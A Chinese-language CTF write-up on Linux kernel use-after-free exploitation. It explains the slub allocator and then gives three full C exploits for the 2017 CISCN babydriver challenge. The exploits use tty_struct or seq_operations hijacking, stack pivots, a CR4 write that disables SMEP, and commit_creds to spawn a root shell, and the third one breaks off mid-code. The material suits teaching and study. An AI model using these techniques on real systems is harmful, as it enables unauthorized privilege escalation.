0x02. Linux kernel基础:Kernel UAF

我的fastbin呢?

[toc]

Linux Kernel UAF漫谈

0x00. Linux Kernel中的内存管理

内存管理的数据结构

Linux Kernel下的内存管理系统分为Buddy System(伙伴系统)和slub allocator,而笔者对于buddy system的理解有点类似于用户态下通过mmap来分配的、更大的内存。而slub allocator即管理更小的、零散的内存。

首先来看slub allocator的组成。笔者看到slub allocator的示意图后,初见觉得非常复杂,而细看后,更复杂了。但从Linux kernel pwn的角度来看,其实并不需要到熟读源码和细致的结构体的程度(初学阶段)。

与用户态的chunk对应的(只是类似,并不是完全对应),kernel中有一个结构体叫做object。它即为slub allocator分配的基本单元。而与用户态对应的bins分为两种,一个叫做kmem_cache_cpu,而另一种叫做kmem_cache_node,它们将管理我们提到的object

简要介绍一下kmem_cache_cpukmem_cache_cpu是一个**percpu变量**(这意味着,每个CPU上都独立有一份kmem_cache_cpu的副本,通过gs寄存器作为percpu基址进行寻址),表示当前CPU使用的slub,直接从当前CPU来存取object,不需要加锁,能够提高性能。然而这对于我们在Linux Kernel Pwn中,只会成为负担,毕竟我们并不希望额外考虑当前正在使用哪个CPU~。因此,我们在利用前,可以将我们的程序绑定到某个CPU上,即可无视掉这条规则。

而对于kmem_cache_node,它包括两个链表,其中一个叫做partial,另一个叫做full。顾名思义,partial链表中,存在部分空闲的object;而full链表中,全部object都已经被分配了。

分配过程

首先,slub allocatorkmem_cache_cpu上取object,若kmem_cache_cpu上存在,则直接返回;

kmem_cache_cpu上的slub无空闲对象了,那么该slub会被加入到kmem_cache_node中的full链表,并从partial链表中取一个slub挂载到kmem_cache_cpu上,然后重复第一步的操作,取出object并返回。

kmem_cache_cpupartial链表也空了,那么会向buddy system请求分配新的内存页,划分为多个object,并给到kmem_cache_cpu,取出object并返回。

释放过程

释放过程需要看被释放的object属于的slub现在位于哪里。

若其slub现在位于kmem_cache_cpu,则直接头插法插入当前kmem_cache_cpufreelist链表。

若其slub属于kmem_cache_nodepartial链表上的slub,则同样通过头插法插入对应的slub中的freelist

若其slub属于kmem_cache_nodefull链表上的slub,则会使其成为对应slubfreelist的头结点,并将该slubfull链表迁移到partial

0x01. 分配细节

基于大小分配

对于slub allocator,其分配类似于用户态下unsortedbin的切割,而不是fastbin或者tcache

slub allocator中的kmem_cache存在多种不同大小,每一种都对应一种特定大小的对象,且均为2的幂次方,例如8字节、16字节、256字节、0x100字节、0x200字节、0x400字节…..等等。在分配时,其会选择一个大于其大小的2的幂次方的值。

例如,tty_struct的大小为0x2b8,为了能够满足其大小,其会使用kmalloc-1024这样的kmem_cache

此外,为了减少内存碎片,还有一些特殊大小的slub,例如96字节和192字节。

kmalloc flag的隔离机制

Linux Kernel中,并不是所有内存分配都基于上面的描述,例如kmalloc还存在一个flag机制,其包括两种,一个叫做GFP_KERNEL,另一个叫做GFP_KERNEL_ACCOUNT。其中,与用户空间的数据相关联的对象会有GFP_KERNEL_ACCOUNT这样的flag,而与用户空间数据不直接相关的flagGFP_KERNEL

Linux kernel的版本位于5.9之前,或者5.14及以后时,这两个flagobject存在隔离机制。即,这些object会完全位于独立、不同的slub中,如下所示:(图来自于arttnba3师傅)

image.png

如上所示,只要对于开启了CONFIG_MEMCG_KMEM编译选项的kernel,其会为使用GFP_KERNEL_ACCOUNT进行分配的通用对象创建一组独立的kmem_cache,即图中带有cg字样的kmalloc

kmalloc flag: SLAB_ACCOUNT

SLAB_ACCOUNT同样是一种flag。对于某些特殊的slub,例如cred_jar是一个专门用于分配cred结构体的kmem_cache,但由于其大小也属于kmalloc-192,因此cred结构体和其他属于192大小的object都会从同一个kmem_cache,即kmalloc-192中分配。

而新版内核中,cred_jar被添加了SLAB_ACCOUNT,这意味着cred_jarkmalloc-192现在相互隔离,为两个不同的slub

这带来的最大的影响就是,我们无法直接使用UAF直接申请回某些带有SLAB_ACCOUNTflagobject,例如申请回控制uidcred结构体。

0x02. 初探Kernel UAF:2017-CISCN-babydriver

题目详情

首先查看题目启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

qemu-system-x86_64 \
-initrd core.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 128M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s

可以看到,其开启了smep,这意味着要使用ret2usr的话,至少需要控制cr4的值为0x6f0

没有开启kaslr,这意味着我们可以直接通过vmlinux来提取gadgets的地址。

再看rcS启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

能看到题目挂载的驱动叫做/dev/baby

没有设置dmesg_restrict,这意味着我们可以通过dmseg查看内核printk的输出。

没有设置kptr_restict,这意味着普通用户可以通过cat /proc/kallsyms查看所有内核函数的地址。

程序的逻辑很简单,类似于菜单堆,含有一个全局变量babydev_struct

open函数会初始化该结构体:

QQ_1721118134849

ioctl函数可以通过kmalloc重新分配设置大小:

QQ_1721118209318

release中会通过kfree释放object,但没有置空,存在UAF

QQ_1721118222712

write函数和read函数即为常规的填写和读内容,不再赘述。

此外,由于babydev_struct结构体是一个全局变量,因此若我们通过open来打开/dev/babydev两次,其fd会指向同一个babydev_struct,相信你能理解。

解题思路总览

本题中白给了一个UAF,这意味着我们可以通过释放一个object,再让内核中的某个结构体使用这个object,便可以达到任意写这个object的目的。这也就是我们kernel pwnUAF中的常见利用方式。

因此,结构体的选择便是一个有趣的问题,根据结构体的不同,我们有不同的解题方案来选择。

解题思路1:tty_struct + 栈迁移(kmalloc-1k,GFP_KERNEL_ACCOUNT)

/dev下存在一个伪终端设备ptmx,打开该设备时内核会创建一个tty_struct结构体,与其他类型的设备相同,tty驱动设备也含有一个存放函数指针的结构体tty_operations。因此,我们可以利用UAF来劫持tty_struct结构体,并劫持tty_operations中的函数指针。

而难点在于,kernel中是不存在类似于用户态中的one_gadget这样直接拿到权限的函数的。这意味着我们至少需要通过栈迁移,来完成ROP才可以执行commit_creds(prepare_kernel_cred(NULL))

调试观察寄存器状态,在我们劫持tty_operations并调用其中的函数指针时,RAX寄存器的值恰好为tty_operations结构体的地址。因此,我们可以设置劫持tty_operations表中的所有函数指针为mov rsp, rax; ret这样的gadget,便可以将rsp劫持到该结构体起始位置。而即使这样,rop的空间也比较小,因此我们将tty_operations函数表中的起始位置改为pop rsp; ret这样的gadget,再在tty_operations[1]中写一个rop链的地址,即可完成再一次栈迁移到我们编写的rop链~

需要注意的是,ropperROPgadget需要配合使用。例如,对于mov rsp, rax; dec ebx; ret这样的gadgetropper无法找到:

QQ_1721120202698

Ropgadget可以找到:

QQ_1721120224917

经过调试,第一条jmp的位置实际上就是ret。因此,需要配合查找gadget

exp如下:(main函数中有详细注释)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdarg.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

void info(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[34m\033[1m[*] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void success(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[32m\033[1m[+] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void error(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[31m\033[1m[x] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
info("Status has been saved.");
}

void get_root_shell(void)
{
if (getuid())
{
error("Failed to get the root!");
exit(-1);
}

success("Successful to get the root. Execve root shell now...");
system("/bin/sh");
}

void get_root_privilige(){
void* (*prepare_kernel_cred_ptr)(void*) = prepare_kernel_cred;
void* (*commit_creds_ptr)(void*) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

int main()
{
info("Starting to exploit...");

// 保存当前寄存器状态
save_status();

// 通过kallsyms,可以查看所有函数的地址(未设置kptr_restrict)
FILE *sym_fd = fopen("/proc/kallsyms", "r");
if (sym_fd < 0)
{
error("Open /proc/kallsyms Failed.");
exit(0);
}

// 写循环,查找所需函数prepare_kernel_cred和commit_creds的地址
size_t address = 0;
char type[2];
char func[0x50];
while(fscanf(sym_fd, "%llx%s%s", &address, type, func)){
// info("The function name is %s, while address is 0x%lx.", func, address);
if(commit_creds && prepare_kernel_cred){
success("The address of functions are all found.");
break;
}
if(!strcmp(func, "prepare_kernel_cred")){
prepare_kernel_cred = address;
}
if(!strcmp(func, "commit_creds")){
commit_creds = address;
}
}
if(!commit_creds || !prepare_kernel_cred){
error("Failed to get the function address.");
}

success("The address of prepare_kernel_cred is 0x%llx.", prepare_kernel_cred);
success("The address of commit_creds is 0x%llx.", commit_creds);


// 先编写好需要使用的ROP链
size_t rop[0x20], p = 0;
// 设置cr4寄存器的值为0x6f0,绕过smep和smap
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
// ret2usr,执行commit_creds(prepare_kernel_cred(NULL));
rop[p++] = (size_t)get_root_privilige;
// 通过swapgs、iretq来回到用户态
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ_RET;
// 创建一个shell,恢复保存的状态
rop[p++] = get_root_shell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;

// 我们写fake_operations函数指针表中的所有函数都为MOV_RSP_RAX_DEC_EBX_RET
size_t fake_op[0x30];
for(int i=0;i<0x30;i++){
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;
}

// 执行到上述MOV_RSP_RAX_DEC_EBX_RET后,会栈迁移到fake_operations结构体起始位置
// 在起始位置布置pop rax; ret的gadget,配合后面的MOV_RSP_RAX_DEC_EBX_RET来再次栈迁移到rop链
fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;


// 漏洞利用的核心
// 打开该驱动两次,获得fd1和fd2
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 调整其大小为0x2e0,如此其会属于kmalloc-1024
ioctl(fd1, 0x10001, 0x2e0);
// 释放object到kmalloc-1024,但fd2仍然可以访问
close(fd1);


size_t fake_tty[0x20];
// 打开/dev/ptmx,其tty_struct结构体的内存会从kmalloc-1024中申请,因此fd2可以控制这块内存
int fd3 = open("/dev/ptmx", 2);

// 将tty_struct结构体的数据读到fake_tty中,防止修改到不该修改的值
read(fd2, fake_tty, 0x40);

// 将fake_tty的tty_operations函数指针表设置为我们伪造的函数指针表
fake_tty[3] = fake_op;

// 重新写入tty_struct结构体
write(fd2, fake_tty, 0x40);

// 我们已经劫持了tty_struct的函数指针,调用tty_struct函数指针中的write来触发整个流程
write(fd3, func, 0x8);
return 0;
}

解题思路2:tty_struct + work_for_cpu_fn

上一种解题思路中,我们劫持了tty_struct,随后进行了两次栈迁移来打rop,而且需要绕过smep等保护措施。这样做比较麻烦,因此我们来看一种简单一点的方法,即利用work_for_cpu_fn函数。

该函数在开启了多核支持的内核中都有这个函数,其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

因此该函数可以简单理解为如下形式:

1
2
3
4
static void work_for_cpu_fn(size_t * args)
{
args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

查看函数表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
......

可以得知,这些函数表中的第一个参数均为tty_struct本身。

因此,若我们将tty_struct劫持为如下形式:

1
2
tty_struct[4] = (size_t)commit_creds;
tty_struct[5] = (size_t)init_cred;

将函数表中的函数覆盖为work_for_cpu_fn,即可执行:

1
((void*)tty_struct[4])(tty_struct[5]);

即:

1
commit_creds(&init_cred);

需要注意的是,这里劫持函数表tty_operations中的ioctl而不是write函数。原因比较复杂,此处不再赘述。

需要注意的是,执行commit_cred(&init_cred)后,我们还原tty_struct结构体中的内容即可。

这种解法的exp如下(main函数中有详细注释):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdarg.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

void info(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[34m\033[1m[*] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void success(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[32m\033[1m[+] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void error(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[31m\033[1m[x] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

size_t commit_creds = 0, prepare_kernel_cred = 0, work_for_cpu_fn = 0, init_cred = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
info("Status has been saved.");
}

void get_root_shell(void)
{
if (getuid())
{
error("Failed to get the root!");
exit(-1);
}

success("Successful to get the root. Execve root shell now...");
system("/bin/sh");
}

void get_root_privilige(){
void* (*prepare_kernel_cred_ptr)(void*) = prepare_kernel_cred;
void* (*commit_creds_ptr)(void*) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}


int main()
{
info("Starting to exploit...");

// 保存当前寄存器状态
save_status();

// 通过kallsyms,可以查看所有函数的地址(未设置kptr_restrict)
FILE *sym_fd = fopen("/proc/kallsyms", "r");
if (sym_fd < 0)
{
error("Open /proc/kallsyms Failed.");
exit(0);
}

// 写循环,查找所需函数prepare_kernel_cred和commit_creds的地址
// 在本方法中,还需要找到work_for_cpu_fn函数和init_cred变量的地址
size_t address = 0;
char type[2];
char func[0x50];
while(fscanf(sym_fd, "%llx%s%s", &address, type, func)){
// info("The function name is %s, while address is 0x%lx.", func, address);
if(commit_creds && prepare_kernel_cred && work_for_cpu_fn && init_cred){
success("The address of functions are all found.");
break;
}
if(!strcmp(func, "prepare_kernel_cred")){
prepare_kernel_cred = address;
}
if(!strcmp(func, "commit_creds")){
commit_creds = address;
}
if(!strcmp(func, "work_for_cpu_fn")){
work_for_cpu_fn = address;
}
if(!strcmp(func, "init_cred")){
init_cred = address;
}
}
if(!commit_creds || !prepare_kernel_cred || !work_for_cpu_fn || !init_cred){
error("Failed to get the function address.");
}

success("The address of prepare_kernel_cred is 0x%llx.", prepare_kernel_cred);
success("The address of commit_creds is 0x%llx.", commit_creds);
success("The address of work_for_cpu_fn is 0x%llx.", work_for_cpu_fn);
success("The address of init_cred is 0x%llx.", init_cred);

size_t buf[0x50];
size_t fake_tty[0x50];
size_t fake_ope[0x50];
size_t origin_tty[0x2d0];

// 打开题目文件两次
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 通过ioctl来改变babydev_struct的object大小
ioctl(fd2, 0x10001, 0x2e0);

// 释放fd1,而由于UAF,fd2仍然可以写其内容
close(fd1);

// 通过/dev/ptmx来打开tty_struct
// 由于UAF,可以通过fd2来控制这个tty_struct
info("opening tty_struct...");
int fd3 = open("/dev/ptmx", 2);

// 将原始的tty_struct内容读入origin_tty和fake_tty
// 前者是我们希望在最后来恢复整个tty_struct
// 后者是我们读入fake_tty,保证在修改tty_struct的时候不修改到其他变量
read(fd2, origin_tty, 0x2d0);
read(fd2, fake_tty, 0x40);

// fake_tty的tty_operations指向我们写得fake_operations
fake_tty[3] = fake_ope;

// 将tty_operations的ioctl改为work_for_cpu_fn函数
info("changing the tty_operations...");
fake_ope[12] = (size_t)work_for_cpu_fn;

// work_for_cpu_fn函数会执行(*(void*))tty_struct[4])(tty_struct[5])
fake_tty[4] = (size_t)commit_creds;
fake_tty[5] = (size_t)init_cred; // 因此这里是init_cred而不是prepare_kernel_cred哦

// 将写好的fake_tty重新写入tty_struct
info("writing changed tty_struct...");
write(fd2, fake_tty, 0x40);

// 通过fake_operations中的ioctl来触发commit_creds(&init_cred);
// 需要注意的是ioctl在执行前还有一些操作,因此ioctl的参数写为两个233
// 好吧,如你所见,我改成0xdeadbeaf也可以
info("exploiting ioctl...");
ioctl(fd3, 0xdeadbeaf, 0xdeadbeaf);

// 还原tty_struct
info("fix the tty_struct...");
write(fd2, origin_tty, 0x2d0);
close(fd3);

// 由于前面已经commit_creds(&init_cred)了,因此直接返回用户态起一个shell~
get_root_shell();
}

解题思路3:seq_file(kmalloc-32, GFP_KERNEL_ACCOUNT)+ pt_regs

seq_file叫做序列文件接口Sequence File Intreface,其结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct seq_file {
char *buf;
size_t size;
size_t from;
size_t count;
size_t pad_until;
loff_t index;
loff_t read_pos;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};

而实际上,seq_file这个结构体我们是无法打开来申请内存空间的。但我们可以通过open("/proc/self/stat"),来打开并申请seq_operation这个结构体,也就是上面写的seq_file的函数指针表,其数据结构如下所示:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

可以看到,其中只含有四个函数指针。我们在申请到该结构体时,可以直接读取其中的start函数,其实际上是内核函数single_start的地址。由此可以泄露内核基地址。

而利用方式也很简单,只需要**对该结构体使用read,其就会调用seq_operation->start**。因此只要覆盖start函数指针,即可完成程序控制流劫持。但注意,该函数的参数是无法控制的,因此我们通常会选取其它数据结构一起,例如pt_regs配合rop

总结该结构体的利用方式:

  • 通过open("/proc/self/stat")来分配seq_operation结构体,kmalloc-32, GFP_KERNEL_ACCOUNT

  • 通过读取start函数地址来获取到single_start函数地址,从而泄露内核基地址

  • 通过覆盖start函数来劫持程序控制流,无法控制参数,通常配合pt_regs等其它数据结构

那么回到本题,我们可以利用UAFseq_operation结构体,覆盖start函数指针为一个add_rsp_xxx_ret类似的gadget,使其调用该函数时,rsp能位于pt_regs结构体的位置。这里有两点需要阐明和注意:

什么是pt_regs结构体?简单来说,就是用户态的寄存器在进入内核态的时候仍然会保留在栈底,因此若我们进入内核态前提前控制了这些寄存器的值,那么便可以在内核栈底留下一些可控数据。例如,我们可以用这些数据来实现rop

因此,通过seq_file来利用pt_regs结构体的一个shellcode板子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);

上面我们直接使用汇编写了read(seq_fd, rsp, 8)这样来调用seq_operation->start。这是推荐的做法。笔者曾经有一次打算写C语言的read,而rbp又被我们改了,就导致奇怪的报错。

另外一点,找到add rsp, xxxx这样的gadget比较困难,有的gadget无法通过ropper或者是ROPgadget找到,而pwntools却可以找到这样的gadget。例如,本题中存在这样一个gadget

1
2
3
4
5
6
7
8
0xffffffff812743a5:  add    rsp,0x120
0xffffffff812743ac: pop rbx
0xffffffff812743ad: pop r12
0xffffffff812743af: pop r13
0xffffffff812743b1: pop r14
0xffffffff812743b3: pop r15
0xffffffff812743b5: pop rbp
0xffffffff812743b6: ret

加起来刚好是0x148。而我们在使用seq_operations->start来试图将rsp抬到pt_regs时,刚好需要将rsp加上0x148。除了这一条gadget,其它ropperROPgadget都无法找到这样的gadget。而这条gadget又无法通过这俩找到。pwntools可以找到,但在知道这样一个gadget之前,如何知道这个gadget是这个样子呢?(悲)

这里问了t1d师傅和lotus师傅(还得是t1d & lotus),可以通过pwntools写正则找,或者简单的方式,由于偏移我们能算出来是0x148,因此可以在一个小范围内手动check一下。例如需要0x148,那就大不了从0x110开始慢慢找?不失为一种解决方案(笑)。

随后该种方法的exp如下,仍然是可以通过main函数中的注释来理解该方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdarg.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef
#define ADD_RSP_0x150_RET 0xffffffff812743a5
#define ADD_RSP_0X48_RET 0xffffffff8111fd8e
#define POP_RSP_RET 0xffffffff81171045

void info(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[34m\033[1m[*] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void success(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[32m\033[1m[+] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

void error(const char *format, ...)
{
va_list args;
va_start(args, format);
printf("%s", "\033[31m\033[1m[x] ");
vprintf(format, args);
printf("%s", "\033[0m\n");
}

size_t commit_creds = 0, prepare_kernel_cred = 0, work_for_cpu_fn = 0, init_cred = 0;

int seq_fd = 0;
size_t user_cs, user_ss, user_rflags, user_sp;

size_t pop_rdi_ret = POP_RDI_RET;
size_t mov_cr4_rdi_pop_rbp_ret = MOV_CR4_RDI_POP_RBP_RET;
size_t add_rsp_0x48_ret = ADD_RSP_0X48_RET;
size_t pop_rsp_ret = POP_RSP_RET;

size_t rop[0x200] = {0, };
size_t function = (size_t)&rop[0];

void save_status()
{
asm volatile(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
info("Status has been saved.");
}

void get_root_shell(void)
{
if (getuid())
{
error("Failed to get the root!");
exit(-1);
}

success("Successful to get the root. Execve root shell now...");
system("/bin/sh");
}

void get_root_privilige()
{
void *(*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
void *(*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void baby_ioctl(int lfd, size_t len)
{
ioctl(lfd, 0x10001, len);
}

int main()
{
info("Starting to exploit...");

// 保存当前寄存器状态
save_status();

// 通过kallsyms,可以查看所有函数的地址(未设置kptr_restrict)
FILE *sym_fd = fopen("/proc/kallsyms", "r");
if (sym_fd < 0)
{
error("Open /proc/kallsyms Failed.");
exit(0);
}

// 写循环,查找所需函数prepare_kernel_cred和commit_creds的地址
size_t address = 0;
char type[2];
char func[0x50];
while (fscanf(sym_fd, "%llx%s%s", &address, type, func))
{
// info("The function name is %s, while address is 0x%lx.", func, address);
if (commit_creds && prepare_kernel_cred && init_cred)
{
success("The address of functions are all found.");
break;
}
if (!strcmp(func, "prepare_kernel_cred"))
{
prepare_kernel_cred = address;
}
if (!strcmp(func, "commit_creds"))
{
commit_creds = address;
}
if (!strcmp(func, "init_cred"))
{
init_cred = address;
}
}
if (!commit_creds || !prepare_kernel_cred || !work_for_cpu_fn || !init_cred)
{
error("Failed to get the function address.");
}

success("The address of prepare_kernel_cred is 0x%llx.", prepare_kernel_cred);
success("The address of commit_creds is 0x%llx.", commit_creds);
success("The address of init_cred is 0x%llx.", init_cred);

size_t buf[0x300] = {0, };
size_t fake_tty[0x50];
size_t fake_ope[0x50];
size_t origin_tty[0x2d0];

// 打开题目驱动两次
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 由于seq_operation属于kmalloc-32,因此更改其大小为0x20
ioctl(fd1, 0x10001, 0x20);

// 释放fd1和fd2指向的这块内存,但由于UAF,fd2仍然可以对其访问
close(fd1);

// 通过打开/proc/self/stat来获得一个seq_operation函数表结构体
seq_fd = open("/proc/self/stat", O_RDONLY);

// 从seq_operations中读入几个函数的地址,必要时可以进行泄露基地址。
// 本题没有打开kaslr,因此不太需要泄露基地址
read(fd2, buf, 0x18);
success("The address of function in seq_operations is 0x%llx.", buf[0]);

// 将读入的第一个函数指针start修改为add_rsp_0x150_ret这样的gadget,使其调用时抬栈到pt_regs
buf[0] = ADD_RSP_0x150_RET;
// 将修改后的函数表写回seq_operations
write(fd2, buf, 8);

// 布置好rop链,待会通过seq_operation迁移到这里来
int p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = init_cred;
rop[p++] = commit_creds;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0xdeadbeaf;
rop[p++] = IRETQ_RET;
rop[p++] = get_root_shell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;


// 布置好pt_regs结构体。
// 通过add_rsp_0x150,迁移到这里,执行其中的一小段rop后,再次迁移到我们上面布置的rop链~
info("Preparing pt_regs...");
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0xdeadbeaf;"
